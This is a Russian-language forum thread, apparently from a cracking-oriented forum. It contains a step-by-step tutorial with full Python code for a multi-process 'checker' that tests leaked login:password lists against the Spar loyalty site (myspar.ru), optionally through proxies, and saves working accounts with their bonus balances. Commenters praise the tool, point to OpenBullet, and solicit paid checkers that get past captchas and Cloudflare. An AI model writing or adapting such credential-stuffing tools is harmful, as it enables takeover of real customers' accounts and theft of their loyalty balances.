Загрузка...
Как написать свой чекер, полный гайд
  1. AIexa
    AIexa Автор темы 31 май 2020 Лучший софт - lolz.live/threads/1634798/ :+rep: 12 357 24 мар 2020
    В этой статье рассказывается и показывается как написать свой чекер, что для этого нужно и откуда это достать

    Для
    начала работы нам понадобится


    1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
    https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
    2)Если вы захотите на примере это статьи писать свой чекер на другой сайт, нужный вам, тогда вам понадобится среда разработки,
    для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
    https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC

    Я буду показывать как написать чекер на примере сайта спара, на нем нету капчи и он не банит за спам


    Первым делом нам нужен валидный аккаунт на сайте спара
    идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
    переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
    что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида
    [IMG]
    AUTH_FORM: Y
    TYPE: AUTH
    backurl: /local/ajax/user/auth/
    USER_LOGIN: 899999999
    username: 899999999
    USER_PASSWORD: password123
    USER_REMEMBER: Y
    Login: Y


    жмем на кнопку view source и копируем строчку
    AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y

    Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте
    [IMG]

    открываем в консоли html и копируем строчку с бонусами
    [IMG]
    <span class="header-control__text-desc">8 бонусов</span>

    Теперь мы можем идти в Pycharm и начинать писать код
    Запускаем среду и жмем Create new project

    [IMG]

    После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

    [IMG]

    Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

    [IMG]

    Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

    [IMG]

    Первое что нам нужно сделать импортировать нужные библиотеки для работы

    Python
    import requests
    from multiprocessing import Process, Queue, Value
    Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
    Вторая библиотека нужна для потоков

    Начинаем писать скрипт

    Python
    if __name__ == "__main__":
    count = 100 #Количество потоков
    queue = Queue() #очередь откуда будут браться данные для наших потоков

    Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы

    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()

    Теперь в нашу очередь загружены наши строки
    Запускаем наши потоки

    Python
     for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close() #Закрываем очередь
    Теперь напишем функцию чека для наших потоков

    Python
    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')

    user_login = logPass[0]
    user_pass = logPass[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    continue
    except:
    continue
    Что мы здесь делаем.
    1) Передаем в фунцию нашу очередь со строками
    2)Разбиваем строку и вырезаем символ переноса строки "\n"
    Python
            line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')
    3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль
    4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
    Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
    не дадут залогинится
    5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
    6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
    в текстовик
    7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой

    Как только очередь опустеет потоки поочередно закончат свою работу

    Если вы хотите использовать ****** в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом
    и передавайте их потокам
    Python
        myProxies = {"https://223.241.2.199:4216"}
    s.get("https://myspar.ru/personal/", proxies=myProxies)
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)

    На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:

    Phone: 8999999999
    Password: password123
    Bonuses: 233 бонуса

    Для ленивых
    Python
    import requests
    from multiprocessing import Process, Queue, Value
    import re
    import sys




    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    if ':' in line:
    c = line.split(':')
    if ';' in line:
    c = line.split(';')

    user_login = c[0]
    user_pass = c[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    s.close()
    continue
    except:
    continue

    def createProc(queue, count):
    for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close()

    if __name__ == "__main__":
    count = 100
    queue = Queue()
    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()
    createProc(queue, count)
    print("Запускается", count," потоков")

    #МояСтатья
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    31 май 2020 Изменено
    1. UMBRELLA_CORP
      AIexa, Ништяк - красавчик :sigma:

Комментарии

    1. billiedark
      billiedark 31 май 2020 разработка на заказ: lolz.live/threads/8957669/ 2296 7 дек 2018
      В целом статья годная, но видел на других ресурсах, мог бы над оформлением темы поработать хотябы :)
       
      1. Посмотреть предыдущие комментарии (1)
      2. AIexa Автор темы
        billiedark, итак 3 часа потратил
      3. Kastiell1812
        billiedark, он и так всё хорошо обьяснил
    2. SERG39
      SERG39 31 май 2020 Вот бы спонсора для розыгрыша :/ 160 22 мар 2018
      Лень читать, но так годно. Авторку этому молодому человеку:2011_like:
      --- Сообщение объединено с предыдущим 31 май 2020
      Напиши еще как использовать антикапчу, для стима например
       
      1. Посмотреть предыдущие комментарии (3)
      2. mammothclanc
        SanyFake, изучал эту тему? не против обсудить в лс?
      3. ProtocoI
        SERG39, дождался ответа все таки хахахахахха
      4. SERG39
        SanyFake, спаисибо за оперативный ответ <3
    3. Ignat2003
      Ignat2003 31 май 2020 9 23 апр 2018
      Реально годный гайд, даже появилась мотивация изучить питон, я думал что для написания такого подобного чекера нужно днями напролет писать код, а тут дело часа. Если бы я мог кинуть симпу - я бы кинул. Респект!
       
      1. i7h6si4pah1
        Ignat2003, ну, как бы так и есть, это по гайду ты слёту можешь написать, а если с 0 сядешь, то не поймёшь, откуда подступиться, знаний много не надо, но нужно набираться опыта.
    4. anefe
      anefe 1 июн 2020 Заблокирован(а) 401 28 окт 2017
      1. Спасибо, что различаешь ****/чекеры(наверное)
      2.Зачем if __name__ == "__main__" не такой уровень проекта
      3. Много кода мало объяснений
       
      1. Посмотреть предыдущие комментарии (2)
      2. AIexa Автор темы
        anefe, код максимально упрощен для тех кто не особо в теме
      3. anefe
        Оказывается питон настолько умен, что можно я даже не закрывать файлы для записи. Ошибки возникать не должно:roflanPoker::facepalm:
      4. gotcum
        anefe, он закрыыается после записи , открыт с помощью оператора with
    5. яЕмДеТеЙ
      яЕмДеТеЙ 13 июн 2020 Вызов сатаны скоро загрузится... ************] 99%
      Благодарю, кстати есть конструктор чекера/****ера бесплатный (OpenBullet) , я понимаю ТС показал на примере как с 0 без помощи стороних софтов ( кроме официал питона и среды разработки ), накодить чекер, но вдруг кому интересно, я выше написал, смысл тот же, даже метод, просто в сам софт пихаете шаг за шагом, что ТС показывает, и кодите, и потом или продаете, или юзаете сами. В любом случае, статья шикарная. + в репу улетело
       
    6. DIDUK
      DIDUK 13 дек 2021 266 24 ноя 2020
      [IMG] У меня такая проблема, чтобы получить токен для авторизации, нужно нажать на форму на сайте, и только тогда появляется token, как это реализовать(webdriver не предлагать)
       
      1. Adamantium
        DIDUK, могу помочь, там нужно js чекать
      2. DIDUK
        Adamantium, Да я тогда не знал, что такое captha), теперь знаю, могу сам спокойно обойти
    7. Crakers
      Crakers 18 дек 2021 Живой 371 7 июн 2020
      было бы проще установить модули через cmd, написал бы команды, только вставить оставалось
       
    8. parodiathe
      как сделать что бы он проверял аккаунты с txt, или куда их вообще нужно вставлять?
       
    9. liffe1one
      liffe1one 3 май 2022 107 8 апр 2020
      лучший, автор просто лучший. я начинающий питонист и мне очень интересно было разбирать код, но хотелось бы, чтобы в коде были комментарии, которые объясняют суть какого-либо кусочка кода. а так - статья пушка
       
    10. fgiiindko
      fgiiindko 22 май 2022 Заблокирован(а) 693 4 фев 2022
      Ахуенно, делай еще подобные статьи, кратко и по делу. А то без штудирования всего ютуба и варки в этом дерьме, хуй найдешь нужную инфу
       
    11. Осанка
      Осанка 22 май 2022 702 16 апр 2019
      [IMG]
      [IMG]
      Спрашивается, нафига? =)
       
      1. AIexa Автор темы
        Осанка, 2 года, мне тогда казалось что так прикольнее
      2. Amkaaa
    12. Batard
      Batard 25 май 2022 1 20 май 2022
      Подробно описано, что +. Опробую на днях на базах других сайтов и отпишу… {:
       
    13. coolmikss
      coolmikss 25 май 2022 1 22 ноя 2018
      1. Neizy
        coolmikss, статья 20 года, удали комментарий, не позорься
    14. PRIMred
      PRIMred 26 май 2022 0 22 ноя 2018
      Ну вот все рассказали показали — есть теперь кто сможет ЧЕКЕР на заказ сделать? Живой акк есть. Моб-АРР в сервисе нет, но есть две Captcha и злой Cloudflare. Если есть желание пишите в личку.
       
    15. quosx
      quosx 26 май 2022 6 23 дек 2019
      Библиотека multiprocessing нужна для процессов а не потоков. Для работы с потоками есть threading, хотя даже и это сложно назвать потоками, ибо у питона есть всем известный локер(gil), а muliprocessing это очень прожорливое дело, потому что создаётся ещё один процесс программы по сути, и кушает ваши мощности ещё один интерпретатор питона. Очень неграмотное использование библиотеки. А в остальном все норм.
       
      26 май 2022 Изменено
      1. AIexa Автор темы
        quosx, локер(gil) а в процессах нет, все выше идет в пезду, спасибо за внимание
    16. Shadowraze
      Shadowraze 26 май 2022 682 15 июл 2018
      Хз за че тут авторку дали, хоть треду и 2 года. Называть это "полным гайдом" сложно, нет пояснений к коду, нет пояснений к полям в запросах. Код тоже не очень хорошо написан, мог хотя бы сессию открыть и заголовки выставить, если уж ты аффторскую статью пишешь. P/s сверху чел тоже вещь сказал, очереди и потоки кардинально различаются.
       
      26 май 2022 Изменено
    17. Кунилингвист
      Кунилингвист 27 май 2022 Заблокирован(а)
      Отличный гайд. Все расписано.
      Вопрос.
      Это можно адаптировать абсолютно под любой сайт/центр, получается?
      Не силен в этом (по факту - 0).
      Пойду попробую сделать свой первый недочекер)
       
      1. AIexa Автор темы
        Кунилингвист, тут показаны общие вещи и примерно как надо чего делать, когда делаешь чекер
    18. Камильооо
      а куда данные от аккаунта вписывать?
       
    19. СТОМАТОЛОГИЧКА
      Давно искал как грамотно реализовать многопоточность, очень познавательная статья!:BrainCosmic:
       
Top
Загрузка...